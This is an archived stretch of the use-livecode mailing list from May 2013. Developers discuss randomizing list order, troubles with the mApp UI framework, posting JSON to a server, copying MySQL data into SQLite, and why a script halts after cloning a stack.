preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Thu May 23 16:31:05 2013 From: dsc at swcp.com (Dar Scott) Date: Thu, 23 May 2013 14:31:05 -0600 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> Message-ID: <2E788848-D62F-453C-A803-044493045382@swcp.com> I hit send faster than I can think. This will put like lines next to each other. Fail! But a LiveCode function that looks at sortIV and sets it with the current hash should work. (I better hit send fast before I find something wrong with that.) On May 23, 2013, at 2:26 PM, Dar Scott wrote: > put randomBytes(8) into sortIV > sort lines of myVar by sha1Digest( each & sortIV ) From alex at tweedly.net Thu May 23 16:43:25 2013 From: alex at tweedly.net (Alex Tweedly) Date: Thu, 23 May 2013 21:43:25 +0100 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <519E7F6D.3040507@tweedly.net> Indeed you are correct. The maths is simple (even if not very obvious or intuitive). Sorting N lines by random(K) The likelihood of swapping any two lines *should* be 1/2, but (because the sort is stable, and because they are random *integers*), there is a 1/K chance of the two random values rounding to the same integer, and hence the actual probability is (1-1/K)/2 and the probability of not swapping is (1+1/K)/2 So in Geoff's example (N=2, K=2) gives probabilities of (1-0.5)/2 i.e. 1/4 and 3/4 Changing K to 3 would make a slight improvement - 1/3 and 2/3 at K=4 we get 3/8 and 5/8, etc. so by the time K=1000 Interestingly, the poor performance for low values of K is completely independent of N - it's just easier to see it for very small values of N. If you set N to 5, you want to get an even spread of results, each with a probability of 8.333/1000 In fact with K=2 you get a range from 0 to 180/1000 So - random() works just fine - but using it correctly is harder than you might expect. I think it would be worth a feature request to make it much less likely that the innocent will fall into the many pitfalls. -- Alex. On 23/05/2013 20:30, Geoff Canyon wrote: > There is, indeed much confusion here. I, of course, am correct ;-) > > I simplified the problem to a list of two items: > > 1,2 > > That way the sort command has exactly two outcomes. It either reverses the > list, or it doesn't. The two outcomes should happen roughly 50% of the > time. This script demonstrates that sorting by a large random number works, > and sorting by a random number up to the number of items (2) does not. > > on mouseUp > put "1,2" into originalList > repeat 10000 > put originalList into newList > sort items of newList by random(2) > if newList is originalList then add 1 to sameCount1 > end repeat > repeat 10000 > put originalList into newList > sort items of newList by random(999999999) > if newList is originalList then add 1 to sameCount2 > end repeat > put "Sorting by random(2) kept the same order" && sameCount1 && "out of > 10000 times." & cr & \ > "Sorting by random(999999999) kept the same order" && sameCount2 > && "out of 10000 times." > end mouseUp > > For anyone interested in the math, as you would expect, the random numbers > for the sort come out 2,1 roughly 1/4 of the time, so the result is that > the list is in the same order roughly 75% of the time when using random(2). > Here's one result I got: > > Sorting by random(2) kept the same order 7514 out of 10000 times. > Sorting by random(999999999) kept the same order 5014 out of 10000 times. > > If anyone disagrees, come at me, bro. ;-) > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From scott at tactilemedia.com Thu May 23 16:46:30 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Thu, 23 May 2013 13:46:30 -0700 Subject: mApp Framework problems In-Reply-To: <48917015-44B2-49EB-BBC2-1B5C4309466E@mac.com> Message-ID: Tom, where is this exactly? Link? Thanks & Regards, Scott Rossi Creative Director Tactile Media, UX/UI Design On 5/23/13 12:24 PM, "Thomas McGrath III" wrote: >Monte has a download link on his website for mApp which is interesting in >doing UI scaling and positioning. http://mergext.com/mergext/ > >Way down at the bottom. > >Tom > >-- Tom McGrath III >http://lazyriver.on-rev.com >mcgrath3 at mac.com > >On May 23, 2013, at 3:13 PM, Peter Haworth wrote: > >> Ummm... what did I miss? What is mApp? >> >> Pete >> lcSQL Software >> >> >> On Thu, May 23, 2013 at 11:21 AM, Thomas McGrath III >>wrote: >> >>> Alan, >>> >>> I have been working with mApp a lot the past few days. Although I did >>>not >>> see this particular problem I can say that you have to be careful >>>deleting >>> elements after applying rules to them. I ran into something where >>> everything went haywire after deleting a background group. Let us know >>>what >>> you figure out. >>> >>> Tom >>> >>> -- Tom McGrath III >>> http://lazyriver.on-rev.com >>> mcgrath3 at mac.com >>> >>> On May 23, 2013, at 11:53 AM, Alan Stenhouse >>> >>> wrote: >>> >>>> G'day all >>>> >>>> Am starting to use Monte's mApp framework and have run into a couple >>>>of >>> problems: >>>> >>>> 1. Added a datagrid and this works and displays fine on normal >>> resolution displays but on Retina displays for iPhone + iPad nothing is >>> displayed. Seems sort of strange - just want to check if anyone else >>>has >>> done this ok or not? >>>> >>>> 2. In testing/playing further, I now seem to have mucked something >>>>else >>> up - am certainly getting some unexpected behaviour (Think this error >>>came >>> up after deleting a datagrid from one of the cards in the UI stack, >>>though >>> there are still datagrids on other cards) . When I now open the >>>mainstack >>> or try testing on the simulator, what had previously worked now gives >>>me >>> the error >>>> >>>> "Could not find stack" >>>> >>>> This error comes from the mApp framework - I can see the code and see >>> that the property (added by the framework) >>>> >>>> mAppProps["UIStack"] >>>> >>>> of my main UI stack is empty, thus resulting in this error. Strange. >>>> >>>> If anyone has ideas I'm keen to learn... or else I'll start again and >>> see if I can somehow replicate. >>>> >>>> Thanks for any help! >>>> >>>> cheers >>>> >>>> Alan :-) >>>> >>>> p.s. Very much looking forward to that high-priority item on the >>> development list - the beer machine! >>>> >>>> -- >>>> Alan Stenhouse >>>> alanstenhouse at hotmail.com >>>> >>>> Check out our apps on the App Store: >>>> >>>> BeatSpeak - the multilingual talking metronome; >>>> EV-Point - Find your nearest Electric Vehicle Recharge Station. >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >>subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > >_______________________________________________ >use-livecode mailing list >use-livecode at lists.runrev.com >Please visit this url to subscribe, unsubscribe and manage your >subscription preferences: >http://lists.runrev.com/mailman/listinfo/use-livecode > From matthias_livecode_150811 at m-r-d.de Thu May 23 17:03:52 2013 From: matthias_livecode_150811 at m-r-d.de (Matthias Rebbe) Date: Thu, 23 May 2013 23:03:52 +0200 Subject: mApp Framework problems In-Reply-To: References: Message-ID: <4B20F739-43E9-443A-A59D-9987F07DB6CD@m-r-d.de> Scott, http://www.mergext.com under Downloads -> Free externals You need to login to see the downloads. Registration is free. Regards, Matthias Am 23.05.2013 um 22:46 schrieb Scott Rossi : > Tom, where is this exactly? Link? > > Thanks & Regards, > > Scott Rossi > Creative Director > Tactile Media, UX/UI Design > > > > > On 5/23/13 12:24 PM, "Thomas McGrath III" wrote: > >> Monte has a download link on his website for mApp which is interesting in >> doing UI scaling and positioning. http://mergext.com/mergext/ >> >> Way down at the bottom. >> >> Tom >> >> -- Tom McGrath III >> http://lazyriver.on-rev.com >> mcgrath3 at mac.com >> >> On May 23, 2013, at 3:13 PM, Peter Haworth wrote: >> >>> Ummm... what did I miss? What is mApp? >>> >>> Pete >>> lcSQL Software >>> >>> >>> On Thu, May 23, 2013 at 11:21 AM, Thomas McGrath III >>> wrote: >>> >>>> Alan, >>>> >>>> I have been working with mApp a lot the past few days. Although I did >>>> not >>>> see this particular problem I can say that you have to be careful >>>> deleting >>>> elements after applying rules to them. I ran into something where >>>> everything went haywire after deleting a background group. Let us know >>>> what >>>> you figure out. >>>> >>>> Tom >>>> >>>> -- Tom McGrath III >>>> http://lazyriver.on-rev.com >>>> mcgrath3 at mac.com >>>> >>>> On May 23, 2013, at 11:53 AM, Alan Stenhouse >>>> >>>> wrote: >>>> >>>>> G'day all >>>>> >>>>> Am starting to use Monte's mApp framework and have run into a couple >>>>> of >>>> problems: >>>>> >>>>> 1. Added a datagrid and this works and displays fine on normal >>>> resolution displays but on Retina displays for iPhone + iPad nothing is >>>> displayed. Seems sort of strange - just want to check if anyone else >>>> has >>>> done this ok or not? >>>>> >>>>> 2. In testing/playing further, I now seem to have mucked something >>>>> else >>>> up - am certainly getting some unexpected behaviour (Think this error >>>> came >>>> up after deleting a datagrid from one of the cards in the UI stack, >>>> though >>>> there are still datagrids on other cards) . When I now open the >>>> mainstack >>>> or try testing on the simulator, what had previously worked now gives >>>> me >>>> the error >>>>> >>>>> "Could not find stack" >>>>> >>>>> This error comes from the mApp framework - I can see the code and see >>>> that the property (added by the framework) >>>>> >>>>> mAppProps["UIStack"] >>>>> >>>>> of my main UI stack is empty, thus resulting in this error. Strange. >>>>> >>>>> If anyone has ideas I'm keen to learn... or else I'll start again and >>>> see if I can somehow replicate. >>>>> >>>>> Thanks for any help! >>>>> >>>>> cheers >>>>> >>>>> Alan :-) >>>>> >>>>> p.s. Very much looking forward to that high-priority item on the >>>> development list - the beer machine! >>>>> >>>>> -- >>>>> Alan Stenhouse >>>>> alanstenhouse at hotmail.com >>>>> >>>>> Check out our apps on the App Store: >>>>> >>>>> BeatSpeak - the multilingual talking metronome; >>>>> EV-Point - Find your nearest Electric Vehicle Recharge Station. >>>>> >>>>> >>>>> _______________________________________________ >>>>> use-livecode mailing list >>>>> use-livecode at lists.runrev.com >>>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>>> >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>>> >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andrew at ctech.me Thu May 23 17:04:01 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Thu, 23 May 2013 16:04:01 -0500 Subject: JSON In-Reply-To: References: Message-ID: I do this a lot in my work. Generally it is up to how the server wants to receive the JSON. There are several ways to do it depending on the verb the server side is looking for. Is this for some kind of public API or do you have any information on the API you are trying to work with? Usually I just put whatever JSON I am looking for into a variable and simply " post theOjbectVariable to URL (theEndpointURL) " You can also use put instead of post to get the http PUT verb. Some API's provide a hacky way to use PATCH verbs as well by specifying the verb in the header. Andrew On Thu, May 23, 2013 at 2:59 PM, Monte Goulding wrote: > Take a look at JSON.org for the file format. I have a desktop/server > external that does ArrayToJSON and visa versa if that helps. It's utf8 > only. It's currently GPL licensed and I intend to do a commercial license > when someone wants one ;-) > > -- > M E R Goulding > Software development services > > mergExt - There's an external for that! > > On 24/05/2013, at 5:45 AM, Thomas McGrath III wrote: > > > I have a server project where I need to send some JSON to a URL. I've > never done this before. Has anyone got a simple example/explanation of how > this is achieved? > > > > Thanks in advance. > > > > Tom > > > > -- Tom McGrath III > > http://lazyriver.on-rev.com > > mcgrath3 at mac.com > > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From dochawk at gmail.com Thu May 23 17:06:54 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 23 May 2013 14:06:54 -0700 Subject: Data From MySQL to SQLite In-Reply-To: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: Library??? assuming that the names/types are compatible, put revDataFromQuery(tab,vtab,inDbno,"SELECT * FROM inTable) into theData put "BEGIN TRANSACTION;" & cr into dcmd set the itemDel to vtab repeat for each item theLin in theData put "INSERT INTO outTable VALUES( " & theLin & ");" & cr after dcmd end repeat put "COMMIT;" & cr after dcmd revExecuteSql outDb, dcmd You could also simply insert the values at each step of the loop, but that's time consuming if you have a remote db. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From m.schonewille at economy-x-talk.com Thu May 23 17:17:09 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 23 May 2013 23:17:09 +0200 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: <519E8755.2010901@economy-x-talk.com> Hi Richard, Is it possible to execute multiple SQL lines with revExecuteSQL now? -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/23/2013 23:06, Dr. Hawkins wrote: > Library??? assuming that the names/types are compatible, > > put revDataFromQuery(tab,vtab,inDbno,"SELECT * FROM inTable) into theData > > put "BEGIN TRANSACTION;" & cr into dcmd > > set the itemDel to vtab > repeat for each item theLin in theData > put "INSERT INTO outTable VALUES( " & theLin & ");" & cr after dcmd > end repeat > put "COMMIT;" & cr after dcmd > > revExecuteSql outDb, dcmd > > > You could also simply insert the values at each step of the loop, but > that's time consuming if you have a remote db. > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > From dochawk at gmail.com Thu May 23 17:21:50 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 23 May 2013 14:21:50 -0700 Subject: Data From MySQL to SQLite In-Reply-To: <519E8755.2010901@economy-x-talk.com> References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> <519E8755.2010901@economy-x-talk.com> Message-ID: On Thu, May 23, 2013 at 2:17 PM, Mark Schonewille wrote: > Is it possible to execute multiple SQL lines with revExecuteSQL now? I assume so--at the moment I'm actually doing it with revDataFromQuery(), but I'm trying to convert over (although I really suspect that they map to the same underlying function, and that there really is no difference). I'm successfully doing a single transaction to a postgres db that has multiple lines to one table, and then timestamps another. anyway if revExecuteSql won't do it, revDataFromQuery() will. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From ruslan_zasukhin at valentina-db.com Thu May 23 17:24:44 2013 From: ruslan_zasukhin at valentina-db.com (Ruslan Zasukhin) Date: Fri, 24 May 2013 00:24:44 +0300 Subject: Data From MySQL to SQLite In-Reply-To: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: On 5/23/13 10:31 PM, "Devin Asay" wrote: > Hi all, > > I have an ongoing need to populate some SQLite tables with data stored in a > MySQL database. The parallel table structures in both db systems are created; > I just need to move the data. I can figure out how to write the queries, but > before I spend a lot of time I thought I'd check to see if any libraries > already exist for this. Anyone done this already? You can try Valentina Studio. Utilities -> Data Transfer feature https://itunes.apple.com/us/app/valentina-studio/id604825918?ls=1&mt=12 -- Best regards, Ruslan Zasukhin VP Engineering and New Technology Paradigma Software, Inc Valentina - Joining Worlds of Information http://www.paradigmasoft.com [I feel the need: the need for speed] From devin_asay at byu.edu Thu May 23 17:31:41 2013 From: devin_asay at byu.edu (Devin Asay) Date: Thu, 23 May 2013 21:31:41 +0000 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: <519A85AC-B898-40A8-8012-8A09F8629EF7@byu.edu> On May 23, 2013, at 3:06 PM, Dr. Hawkins wrote: > Library??? assuming that the names/types are compatible, > > put revDataFromQuery(tab,vtab,inDbno,"SELECT * FROM inTable) into theData > > put "BEGIN TRANSACTION;" & cr into dcmd > > set the itemDel to vtab > repeat for each item theLin in theData > put "INSERT INTO outTable VALUES( " & theLin & ");" & cr after dcmd > end repeat > put "COMMIT;" & cr after dcmd > > revExecuteSql outDb, dcmd > > > You could also simply insert the values at each step of the loop, but > that's time consuming if you have a remote db. Richard, Thanks, I'll give that a try. Any idea if this might work for records containing binary data? I have one table with around 74 MB of data that I need to transfer over. Devin Devin Asay Office of Digital Humanities Brigham Young University From devin_asay at byu.edu Thu May 23 17:36:51 2013 From: devin_asay at byu.edu (Devin Asay) Date: Thu, 23 May 2013 21:36:51 +0000 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: On May 23, 2013, at 3:06 PM, Dr. Hawkins wrote: > Library??? assuming that the names/types are compatible, > > put revDataFromQuery(tab,vtab,inDbno,"SELECT * FROM inTable) into theData > > put "BEGIN TRANSACTION;" & cr into dcmd > > set the itemDel to vtab > repeat for each item theLin in theData > put "INSERT INTO outTable VALUES( " & theLin & ");" & cr after dcmd > end repeat > put "COMMIT;" & cr after dcmd > > revExecuteSql outDb, dcmd > > > You could also simply insert the values at each step of the loop, but > that's time consuming if you have a remote db. I didn't mention that my data contains one field with long xml-formatted data, so to avoid conflicts with delimiters I have to use ? revDataFromQuery(numToChar(31),numToChar(30) ? Can my values list use non-comma delimiters? Devin Devin Asay Office of Digital Humanities Brigham Young University From jacque at hyperactivesw.com Thu May 23 17:47:31 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 23 May 2013 16:47:31 -0500 Subject: randomly order a list In-Reply-To: References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> Message-ID: <519E8E73.9020906@hyperactivesw.com> On 5/23/13 2:30 PM, Geoff Canyon wrote: > Here's one result I got: > > Sorting by random(2) kept the same order 7514 out of 10000 times. > Sorting by random(999999999) kept the same order 5014 out of 10000 times. > > If anyone disagrees, come at me, bro. ;-) I never argue with a math guy. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From pete at lcsql.com Thu May 23 17:48:01 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 14:48:01 -0700 Subject: Continuing a script after cloning a stack In-Reply-To: References: Message-ID: Hi Bjornke, Problem is, it never reaches the "set the name" command because foucs has shifted to the cloned stack Pete lcSQL Software On Thu, May 23, 2013 at 12:27 PM, Bj?rnke von Gierke wrote: > I think you could do something like this: > clone this stack > set the name of this stack to "my new stack" > go stack "my previously only stack" > > use lock screen and/or "go hidden" respectively "hide stack" to reduce > screen flickering. > > On 23.05.2013, at 21:12, Peter Haworth wrote: > > > I have a script that clones a substack, followed by some other commands > to > > rename the cloned substack and set it's mainstack. As soon as the clone > > command is issued, control passes to the cloned stack and the rest of my > > script is ignored. > > > > That's pretty much expected behavior but I'm wondering if there are any > > tricks that would allow my script to continue processing or perhaps some > > other method of duplicating a stack. I tried copying the stack to the > > clipboard followed by a paste but control passed to the new > > stack immediately after the paste. > > > > > > Pete > > lcSQL Software > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > -- > > Use an alternative Dictionary viewer: > http://bjoernke.com/bvgdocu/ > > Chat with other RunRev developers: > http://bjoernke.com/chatrev/ > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Thu May 23 17:53:42 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Thu, 23 May 2013 23:53:42 +0200 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: <38596DD2-2759-4610-BF67-F2F882C00421@economy-x-talk.com> Hi Devin, Yes, you can use any ASCII character as delimiter. These delimiters are used by LiveCode and not by SQL and therefore this isn't a problem. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 23 mei 2013, at 23:36, Devin Asay wrote: > > I didn't mention that my data contains one field with long xml-formatted data, so to avoid conflicts with delimiters I have to use > > ? revDataFromQuery(numToChar(31),numToChar(30) ? > > Can my values list use non-comma delimiters? > > Devin > > > Devin Asay > Office of Digital Humanities > Brigham Young University > From pete at lcsql.com Thu May 23 17:53:45 2013 From: pete at lcsql.com (Peter Haworth) Date: Thu, 23 May 2013 14:53:45 -0700 Subject: Continuing a script after cloning a stack In-Reply-To: <519E717D.8000807@fourthworld.com> References: <519E717D.8000807@fourthworld.com> Message-ID: Hi Richard and Jan Locking messages fixed the problem. This is a general purpose routine so I have to deal with any preOpenxxx and openxxxx handlers that might be in the stack. I think I will have to add code to close and re-open the stack after the renaming and setting of the main stack once I have unlocked messages. Richard - do you think I should enter a QCC report for this then? It does seem like inconsistent behavior when compared to any other time a stack is opened by script. Pete lcSQL Software On Thu, May 23, 2013 at 12:43 PM, Richard Gaskin wrote: > Peter Haworth wrote: > >> I have a script that clones a substack, followed by some other commands to >> rename the cloned substack and set it's mainstack. As soon as the clone >> command is issued, control passes to the cloned stack and the rest of my >> script is ignored. >> > > We could expect focus to change to the new stack, but not the script > stopping altogether. > > If locking messages before running your script fixes the problem, this may > be a bug in the IDE which should be fixed ASAP IMO. > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > Follow me on Twitter: http://twitter.com/**FourthWorldSys > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From dochawk at gmail.com Thu May 23 17:56:18 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Thu, 23 May 2013 14:56:18 -0700 Subject: Data From MySQL to SQLite In-Reply-To: References: <24D1F94C-6300-4188-B284-69C2C9930E4F@byu.edu> Message-ID: On Thu, May 23, 2013 at 2:36 PM, Devin Asay wrote: > I didn't mention that my data contains one field with long xml-formatted > data, so to avoid conflicts with delimiters I have to use > > ? revDataFromQuery(numToChar(31),numToChar(30) ? > > Can my values list use non-comma delimiters? > I use the vtab (which I define as a global) specifically because I have lots of cr in many of my fields. Pretty much any unique character could be used. -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From jacque at hyperactivesw.com Thu May 23 17:58:25 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 23 May 2013 16:58:25 -0500 Subject: JSON In-Reply-To: References: Message-ID: <519E9101.9070000@hyperactivesw.com> I'm working with a web person who wanted me to communicate recently using JSON (and I asked on the list about it like you did.) After looking at a couple of available libraries I thought the format was awkward and unnecessary for what we needed to do. I asked if they could just send and receive a simple tab-delimited string for the short amount of data we needed to exchange and they said sure. I was happy, and they were surprised that LiveCode could work so easily with that. I like simple solutions, but I know not everyone is as accomodating as this customer. It might be worth asking though. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From monte at sweattechnologies.com Thu May 23 17:59:54 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Fri, 24 May 2013 07:59:54 +1000 Subject: mApp Framework problems In-Reply-To: <4B20F739-43E9-443A-A59D-9987F07DB6CD@m-r-d.de> References: <4B20F739-43E9-443A-A59D-9987F07DB6CD@m-r-d.de> Message-ID: <9988EA86-6031-45D6-8D9D-B8704046F47F@sweattechnologies.com> That's it... But it's not an external so ill change that at some point. -- M E R Goulding Software development services mergExt - There's an external for that! On 24/05/2013, at 7:03 AM, Matthias Rebbe wrote: > http://www.mergext.com under Downloads -> Free externals > > You need to login to see the downloads. Registration is free. From ambassador at fourthworld.com Thu May 23 18:00:36 2013 From: ambassador at fourthworld.com (Richard Gaskin) Date: Thu, 23 May 2013 15:00:36 -0700 Subject: Continuing a script after cloning a stack In-Reply-To: References: Message-ID: <519E9184.702@fourthworld.com> Peter Haworth wrote: > Hi Richard and Jan > Locking messages fixed the problem. > > This is a general purpose routine so I have to deal with any preOpenxxx and > openxxxx handlers that might be in the stack. I think I will have to add > code to close and re-open the stack after the renaming and setting of the > main stack once I have unlocked messages. > > Richard - do you think I should enter a QCC report for this then? It does > seem like inconsistent behavior when compared to any other time a stack is > opened by script. Yes. If there's some extreme reason the IDE needs to lock messages they'll find it and close the report, but in general any deviation between running in the IDE and running as a standalone should be avoided. Such things are at best confusing, and at worst drive up the cost of developing with LiveCode because you have to build a standalone just to test (and that's only if you're lucky enough to figure out that this is an IDE problem and not how the engine normally behaves). Know the engine. Trust the engine. Code with the engine's grain. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com Follow me on Twitter: http://twitter.com/FourthWorldSys From jacque at hyperactivesw.com Thu May 23 18:02:03 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 23 May 2013 17:02:03 -0500 Subject: randomly order a list In-Reply-To: <2E788848-D62F-453C-A803-044493045382@swcp.com> References: <1ECA5963-0FCC-4E7B-9B58-AFCF4B57A441@icloud.com> <44DB3748-3519-4BD6-BD81-D65D9C6F6249@swcp.com> <17915E07-70D0-4FC6-96FC-17E814FFBA77@icloud.com> <5B14BAFA-4862-4FEC-80FF-D1258C7FA1B6@swcp.com> <19FDC2A9-8CBF-4F48-B4DF-607F67B961C8@mac.com> <2E788848-D62F-453C-A803-044493045382@swcp.com> Message-ID: <519E91DB.9060906@hyperactivesw.com> On 5/23/13 3:31 PM, Dar Scott wrote: (I better hit send fast before I find something wrong with that.) LOL. I'm so glad you're back on the list, Dar. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 23 18:06:16 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 23 May 2013 17:06:16 -0500 Subject: Continuing a script after cloning a stack In-Reply-To: References: Message-ID: <519E92D8.7080602@hyperactivesw.com> On 5/23/13 2:12 PM, Peter Haworth wrote: > I have a script that clones a substack, followed by some other commands to > rename the cloned substack and set it's mainstack. As soon as the clone > command is issued, control passes to the cloned stack and the rest of my > script is ignored. > > That's pretty much expected behavior Actually, it isn't, the handler should continue to completion. I think something else must be interfering. You could try stepping through the script to find out where it's derailing. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Thu May 23 18:09:43 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Thu, 23 May 2013 17:09:43 -0500 Subject: Continuing a script after cloning a stack In-Reply-To: <519E9184.702@fourthworld.com> References: <519E9184.702@fourthworld.com> Message-ID: <519E93A7.2030502@hyperactivesw.com> On 5/23/13 5:00 PM, Richard Gaskin wrote: > Such things are at best confusing, and at worst drive up the cost of > developing with LiveCode because you have to build a standalone just to > test Or suspend the environment. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From alanstenhouse at hotmail.com Thu May 23 18:21:00 2013 From: alanstenhouse at hotmail.com (Alan Stenhouse) Date: Fri, 24 May 2013 00:21:00 +0200 Subject: mApp Framework problems In-Reply-To: References: Message-ID: No worries Monte - was hoping that maybe someone else had been using it and perhaps had come across the same thing. I'll keep looking at it and see if I can work it out... and pass on any solutions if I can. Hope you guys enjoyed Paris! :-) Have a good trip home! cheers Alan -- Alan Stenhouse alanstenhouse at hotmail.com Check out our apps on the App Store: BeatSpeak - the multilingual talking metronome; EV-Point - Find your nearest Electric Vehicle Recharge Station. On 23/05/2013, at 11:23 PM, use-livecode-request at lists.runrev.com wrote: > From: Monte Goulding > To: How to use LiveCode > Subject: Re: mApp Framework problems > Message-ID: > > Content-Type: text/plain; charset=us-ascii > > Hey folks. I'm nearly home but I probably won't get to look at mApp stuff until late next week. I'm not sure why things would go haywire when deleting anything because it checks the existence of objects in rules before running the rule. Missing objects are ignored. Most likely reason things might go haywire is rule dependencies (objects used as the side of a rule) in the wrong order. Hmm... You may get odd behavior if 